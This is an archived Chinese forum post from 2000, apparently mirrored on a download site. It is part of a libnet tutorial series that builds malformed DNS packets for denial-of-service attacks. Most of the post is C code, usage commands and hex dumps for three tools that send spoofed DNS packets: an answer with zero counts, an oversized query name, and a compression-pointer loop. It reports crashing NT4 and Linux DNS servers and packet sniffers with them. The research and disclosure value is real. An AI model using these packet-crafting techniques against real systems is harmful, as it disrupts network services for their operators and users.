⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 533.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="534.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>

标  题: libnet使用举例(8) <br>

发信站: 武汉白云黄鹤站 (Wed Aug 16 11:21:45 2000), 站内信件 <br>

作者:小四 < mailto: scz@nsfocus.com > <br>

主页:http://www.nsfocus.com <br>

日期:2000-08-02 11:33 <br>

呼呼,又到了领略C语言编程魅力的时刻,看如下函数原型: <br>

int libnet_build_dns ( u_short id, u_short flags, u_short num_q, <br>

                       u_short num_anws_rr, u_short num_auth_rr, <br>

                       u_short num_addi_rr, const u_char * payload, <br>

                       int payload_s, u_char * buf ); <br>

该函数用于构造DNS报文。其各个形参的含义不是libnet manual所能解释清楚的,好 <br>

在第(7)篇给出了非常详细的解释,自行参看。flags和接下来的四个number均采用所 <br>

见即所得的方式指定,不要做任何转换,比如期望在NetXray中看到flags域为0x8000, <br>

  <br>

这里就直接指定0x8000,number也一样。 <br>

/usr/include/libnet/libnet-headers.h中如下宏定义: <br>

#define LIBNET_DNS_H 0xc  /* DNS header base: 12 bytes */ <br>

先不干正经事情,来一个很简单的异常DNS应答分组,据说这个格式的应答分组会对 <br>

NT的DNS SERVER造成DoS攻击,可我没有成功,不清楚是什么年代的事情了。 <br>

命令行指定目标IP地址,源IP如果不指定采用随机数,再就是DNS应答分组个数。 <br>

-------------------------------------------------------------------------- <br>

void dnsSend ( u_long srcIp, u_long dstIp, u_long dnsNumber ) <br>



{ <br>

    u_long d; <br>

    /* 构造IP头 */ <br>

    libnet_build_ip( LIBNET_UDP_H + LIBNET_DNS_H,  /* IP数据区长度 */ <br>

                     IPTOS_LOWDELAY,               /* IP tos       */ <br>

                     ( u_short )random(),          /* IP ID        */ <br>

                     0,                            /* frag stuff   */ <br>

                     255,                          /* TTL          */ <br>

                     IPPROTO_UDP,                  /* 上层协议     */ <br>

                     srcIp,                        /* big-endian序 */ <br>

                     dstIp,                        /* 目标IP       */ <br>

                     NULL,                         /* 无选项       */ <br>

                     0,                            /* 选项长度零   */ <br>

                     packet );                     /* 指向IP头     */ <br>

    /* 构造UDP头 */ <br>

    libnet_build_udp( 53,                                   /* 源端口 <br>

  */ <br>

                      53,                                   /* 目标端口 <br>

  */ <br>

                      packet + LIBNET_IP_H + LIBNET_UDP_H,  /* payload <br>

  */ <br>

                      LIBNET_DNS_H,                         /* payload lengt <br>



h */ <br>

                      packet + LIBNET_IP_H ); <br>

    /* 构造异常DNS应答分组头 */ <br>

    libnet_build_dns( 0, 0x8000, 0, 0, 0, 0, NULL, 0, <br>

                      packet + LIBNET_IP_H + LIBNET_UDP_H ); <br>

    /* 计算UDP校验和,IP校验和由内核亲自计算 */ <br>

    Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + LIBNET_DNS_H ); <br>

    for ( d = 0; d < dnsNumber; d++ ) <br>

    { <br>

        /* 发送DNS报文 */ <br>

        Libnet_write_ip( rawSocket, packet, packet_size ); <br>

    }  /* end of for */ <br>

    return; <br>

}  /* end of dnsSend */ <br>

-------------------------------------------------------------------------- <br>

Usage: ./dki [--si srcIp] [--di dstIp] [--num dnsNumber] <br>

这个DoS没有在广域网上测试过,不知道单包能打瘫何种版本的NT DNS SERVER,局域 <br>

网内多包倒是可以冻僵目标主机。测试效果如下: <br>

1) 10.60是NT4 Dns,被彻底冻僵,但不影响从8.90 ping 10.60,也不影响IIS提供 <br>

   服务。 <br>

2) 0.2是Linux Dns,被彻底冻僵,从8.90无法ping通0.2,telnet 192.168.0.2 53 <br>

   失败,真够讽刺。 <br>



这个所谓的异常DNS应答分组格式如下: <br>

00 00 00 11 11 11 00 10 14 ff ff ff 08 00 <br>

45 10 00 28 6e 17 00 00 ff 11 bb 98 c0 a8 08 5a c0 a8 08 5a <br>

00 35 00 35 00 14 ed 56 <br>

00 00 80 00 00 00 00 00 00 00 00 00 <br>

最后一行一眼就可以看出问题所在,问题数、回答数统统为零,而flags指明这是一 <br>

个正向解析的响应分组,可能吗,不可能!但对于某些DNS实现,它不属于错误报文, <br>

试图解释它的时候玩完了。 <br>

关于DNS可以想象到的DoS实在太多,举个例子,DNS请求分组正常情况下是不会出现 <br>

压缩格式的,事实上我也不确认出现了压缩格式,各个系统对此如何反应;就各种协 <br>

议分析软件的实现来说,它们会解析以压缩格式出现的DNS请求分组,并没有报错。 <br>

机会就是这样开始的,如果让指针开始循环,NetXray在试图decode这个报文的时候 <br>

终止掉了,Sniffer Pro 2.6及其以后版本防了这手,虽然也解析压缩格式,也造成 <br>

无限循环,但做了边界判断,没有造成本身进程终止。不再一一测试其他系统下的 <br>

sniffer。 <br>

为什么要在请求分组中制造这个循环,而不是响应分组呢?因为响应分组的id可能被 <br>

判断,进而被丢弃,虽然响应分组中的压缩格式一定会被解析。我只能赌各个系统的 <br>

DNS实现在处理问题单元和答案单元的时候调用的是同一个函数,并且没有区分当前 <br>

在解析哪个单元,如果我赌对了,那这个DNS实现就死定了。注意,对抗sniffer的时 <br>

候,由于id不会被判断,也就无所谓请求分组响应分组了。 <br>

此外,非压缩格式有什么长度限制吗?如果没有,可以无限扩大,因为结束标志不过 <br>

是长度域为00。 <br>

是长度域为00。 <br>

写了另外两个测试程序来做上述边界测试,本意是对付DNS SERVER,想不到捎带对付 <br>

sniffer。 <br>

-------------------------------------------------------------------------- <br>

    ... ... <br>

    dnsDataSize  = 13 + MAXIPLUSONE * junkNumber; <br>

    packet_size += dnsDataSize; <br>

    fprintf( stderr, "[ Dns killing ... ... ]\n" ); <br>

    /* 分配内存并初始化成零 */ <br>

    Libnet_init_packet( packet_size, &packet ); <br>

    /* 在这里构造DNS报文的部分数据 */ <br>

    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; <br>

    dnsData[0]   = 0x03;  /* www */ <br>

    dnsData[1]   = 0x77; <br>

    dnsData[2]   = 0x77; <br>

    dnsData[3]   = 0x77; <br>

    dnsDataIndex = 4; <br>

    for ( j = 0; j < junkNumber; j++ ) <br>

    { <br>

        dnsData[ dnsDataIndex++ ] = MAXI; <br>

        for ( i = 0; i < MAXI; i++ ) <br>

        { <br>

            dnsData[ dnsDataIndex++ ] = JUNKCHAR; <br>



        } <br>

    }  /* end of for */ <br>

    dnsData[ dnsDataIndex++ ] = 0x03;  /* com      */ <br>

    dnsData[ dnsDataIndex++ ] = 0x63; <br>

    dnsData[ dnsDataIndex++ ] = 0x6f; <br>

    dnsData[ dnsDataIndex++ ] = 0x6d; <br>

    dnsData[ dnsDataIndex++ ] = 0x00;  /* 结束标志 */ <br>

    dnsData[ dnsDataIndex++ ] = 0x00; <br>

    dnsData[ dnsDataIndex++ ] = 0x01; <br>

    dnsData[ dnsDataIndex++ ] = 0x00; <br>

    dnsData[ dnsDataIndex   ] = 0x01; <br>

    /* 创建raw_socket */ <br>

    rawSocket    = Libnet_open_raw_sock( IPPROTO_RAW ); <br>

    dnsSend( srcIp, dstIp, dnsNumber ); <br>

    /* 关闭raw_socket */ <br>

    libnet_close_raw_sock( rawSocket ); <br>

    /* 释放由libnet_init_packet()分配的内存 */ <br>

    libnet_destroy_packet( &packet ); <br>

    ... ... <br>

-------------------------------------------------------------------------- <br>

Usage: ./dkii [--si srcIp] [--di dstIp] [--num dnsNumber] <br>

       [--junk junkNumber] <br>



测试过程中发现,不用介入指针制造无限循环,只要查询报文非压缩格式异常扩大就 <br>

足以导致NetXray解析(decode)时终止自身进程。比如--junk 4的时候,8.90上启动 <br>

NetXray,在decode的时候NetXray被迫终止。Sniffer Pro对抗异常DNS报文远比 <br>

NetXray稳定。LanExplore 3.5在试图解析这种报文的时候异常终止。 <br>

dkii所发送的异常DNS请求分组类似于下面的描述,所谓junkNumber就是指定以 <br>

3f 61 ... 61为单位的个数。 <br>

-------------------------------------------------------------------------- <br>

42 83                      id       标识符,随机化 <br>

01 00                      param    参数 正向解析请求报文,允许递归解析 <br>

00 01                      qtcount  问题数 <br>

00 00                      ancount  回答数 <br>

00 00                      aucount  管理机构数 <br>

00 00                      adcount  其他信息数 <br>

03 77 77 77                www,长度域为3 <br>

3F 61 ... 61               长度域为63 <br>

3F 61 ... 61               长度域为63 <br>

... ... <br>

3F 61 ... 61               长度域为63 <br>

03 63 6f 6d                com,长度域为3 <br>

00                         结束 <br>

00 01                      type  = A记录 <br>

00 01                      class = IN -- the ARPA internet <br>



-------------------------------------------------------------------------- <br>

-------------------------------------------------------------------------- <br>

    ... ... <br>

    dnsDataSize  = 15; <br>

    packet_size += dnsDataSize; <br>

    fprintf( stderr, "[ Dns killing ... ... ]\n" ); <br>

    /* 分配内存并初始化成零 */ <br>

    Libnet_init_packet( packet_size, &packet ); <br>

    /* 在这里构造DNS报文的部分数据 */ <br>

    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; <br>

    dnsData[0]   = 0x03;  /* www */ <br>

    dnsData[1]   = 0x77; <br>

    dnsData[2]   = 0x77; <br>

    dnsData[3]   = 0x77; <br>

    dnsData[4]   = 0xc0;  /* 指针 = 12 ,实际指向www */ <br>

    dnsData[5]   = 0x0c; <br>

    dnsData[6]   = 0x03;  /* com      */ <br>

    dnsData[7]   = 0x63; <br>

    dnsData[8]   = 0x6f; <br>

    dnsData[9]   = 0x6d; <br>

    dnsData[10]  = 0x00;  /* 结束标志 */ <br>

    dnsData[11]  = 0x00; <br>



    dnsData[12]  = 0x01; <br>

    dnsData[13]  = 0x00; <br>

    dnsData[14]  = 0x01; <br>

    /* 创建raw_socket */ <br>

    ... ... <br>

-------------------------------------------------------------------------- <br>

Usage: ./dkiii [--si srcIp] [--di dstIp] [--num dnsNumber] <br>

dkiii所发送的异常DNS请求分组类似于下面的描述,制造了一个解析循环,NetXray <br>

终止,LanExplore 3.5在试图解析该类报文的时候异常终止。 <br>

-------------------------------------------------------------------------- <br>

42 83                      id       标识符,随机化 <br>

01 00                      param    参数 正向解析请求报文,允许递归解析 <br>

00 01                      qtcount  问题数 <br>

00 00                      ancount  回答数 <br>

00 00                      aucount  管理机构数 <br>

00 00                      adcount  其他信息数 <br>

03 77 77 77                www,长度域为3 <br>

c0 0c                      指针  = 12 不该出现指针的地方出现指针,解析循环 <br>

03 63 6f 6d                com,长度域为3 <br>

00                         结束 <br>

00 01                      type  = A记录 <br>

00 01                      class = IN -- the ARPA internet <br>



-------------------------------------------------------------------------- <br>

ADAM配合做如下测试: <br>

操作./dkii --si 192.168.10.60 --di 192.168.10.60 --num 5 --junk 4导致 <br>

NT4 SP5 DNS Server崩溃。 <br>

操作./dkiii --si 192.168.10.60 --di 192.168.10.60 --num 5同样导致 <br>

NT4 SP5 DNS Server崩溃。 <br>

上述操作要求源IP和目标IP一致,可以精确重现,其中dkiii发作速度快,dkii攻击 <br>

后要稍微等待一下才可以看到效果。net start dns可以恢复。 <br>

对SP6已经无效。现在网络结构中处处对源IP等于目标IP的情况进行过滤,很难从广 <br>

域网上发起攻击。关于DNS的DoS告一段落。 <br>

<待续> <br>

-- <br>

            也许有一天,他再从海上蓬蓬的雨点中升起, <br>

            飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>

            再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="534.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -